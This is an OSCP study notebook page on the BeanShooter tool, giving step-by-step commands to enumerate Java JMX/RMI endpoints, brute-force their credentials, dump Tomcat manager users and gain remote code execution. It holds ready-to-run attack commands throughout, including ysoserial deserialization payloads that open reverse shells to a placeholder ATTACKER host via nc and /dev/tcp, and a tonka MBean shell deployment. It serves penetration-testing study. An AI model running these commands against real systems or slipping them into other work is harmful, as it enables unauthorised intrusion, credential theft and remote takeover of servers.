Pearson's OSCP Notebook

BeanShooter

Properties1
tagsbeanshooter, jmx, java, rmi, deserialization, ysoserial, tomcat, port-1099, enumeration, oscp

3 min read

BeanShooter — JMX Enumeration & Exploitation

BeanShooter (qtc-de/beanshooter) — command-line tool to enumerate and attack Java Management Extensions (JMX) endpoints. Finds unauthenticated JMX, pre-auth deserialization, weak creds, Tomcat users, and RCE paths.

Ctrl+F: BeanShooter · beanshooter · JMX · enum · serial · tonka · 1099 · ysoserial

When: Nmap shows Java RMI/JMX (often 1099, but JMX can be 9010+ / custom). Pair with UseCases for ports > Port 1099 — Java RMI · pure RMI enum → rmg (remote-method-guesser) in same port note.

Requires Java on Kali. Often needs ysoserial for serial attacks.

Install

# Release JAR (easiest)
wget https://github.com/qtc-de/beanshooter/releases/latest/download/beanshooter-4.1.0-jar-with-dependencies.jar -O beanshooter.jar
 
# ysoserial (for deserialization)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O /opt/ysoserial.jar
 
java -jar beanshooter.jar -h

Full tonka shell features may need building from source (mvn package + tonka-bean/).

Full install index → Installation - Kali Setup > 📌 Recon & web

Workflow

nmap -p 1099,9010,9011 TARGET -sV
    ↓
beanshooter enum TARGET PORT
    ↓
No auth? → list / tonka / serial
Auth?    → brute → serial with --username --password
    ↓
Reverse shell / creds / Tomcat users

📌 1) Enumerate

java -jar beanshooter.jar enum TARGET 1099
java -jar beanshooter.jar enum TARGET 9010
 
# SSL/TLS JMX
java -jar beanshooter.jar enum --ssl TARGET 9010

Look for:

  • Remote MBean server does not require authentication → Vulnerable
  • Pre-auth deserialization enabled
  • Tomcat MemoryUserDatabaseMBean → usernames/passwords/roles
  • Registered MBeans (deploy, invoke, file read)

📌 2) List MBeans

java -jar beanshooter.jar list TARGET 1099
java -jar beanshooter.jar info TARGET 1099

📌 3) Brute-force credentials

When JMX requires auth:

java -jar beanshooter.jar brute TARGET 1099 \
  --username-file /usr/share/wordlists/metasploit/unix_users.txt \
  --password-file /usr/share/wordlists/rockyou.txt

📌 4) Deserialization attack (ysoserial)

# Pre-auth deserialization
java -jar beanshooter.jar serial TARGET 1099 --preauth \
  --yso /opt/ysoserial.jar \
  CommonsCollections6 "nc ATTACKER 443 -e /bin/bash"
 
# With creds
java -jar beanshooter.jar serial TARGET 1099 \
  --yso /opt/ysoserial.jar \
  --username admin --password admin \
  CommonsCollections6 "bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'"
nc -lvnp 443

Common chains: CommonsCollections6, CommonsCollections5, URLDNS (detection).

📌 5) Tonka — deploy MBean + shell (no auth)

When enum shows no authentication:

# Deploy tonka MBean (full build may be required)
java -jar beanshooter.jar standard TARGET 1099 tonka
 
# Interactive shell
java -jar beanshooter.jar tonka shell TARGET 1099
 
# One-shot command
java -jar beanshooter.jar tonka execute TARGET 1099 "whoami"

Tonka supports upload/download/background execute — see repo docs.

📌 6) Tomcat users via JMX

If Tomcat exposes JMX, enum may dump manager users:

[+] Enumerating tomcat users:
[+]     Username:  manager
[+]     Password:  fhErvo2r9wuTEYiYgt
[+]     Roles: manage-gui

Use creds on Tomcat manager / app.

Common ports

PortService
1099Java RMI registry (often JMX-related)
9010 / 9011Common JMX remote ports
CustomCheck nmap -sV — “Java JMX” / “rmi”
nmap -p 1099,9010,9011,5000-5010 -sV TARGET
nmap -p 1099 --script rmi-dumpregistry,rmi-vuln-classloader TARGET

Quick cheat sheet

java -jar beanshooter.jar enum TARGET 1099
java -jar beanshooter.jar list TARGET 1099
java -jar beanshooter.jar brute TARGET 1099 --username-file users.txt --password-file pass.txt
java -jar beanshooter.jar serial TARGET 1099 --preauth --yso /opt/ysoserial.jar CommonsCollections6 "id"
java -jar beanshooter.jar tonka shell TARGET 1099

Graph View

Backlinks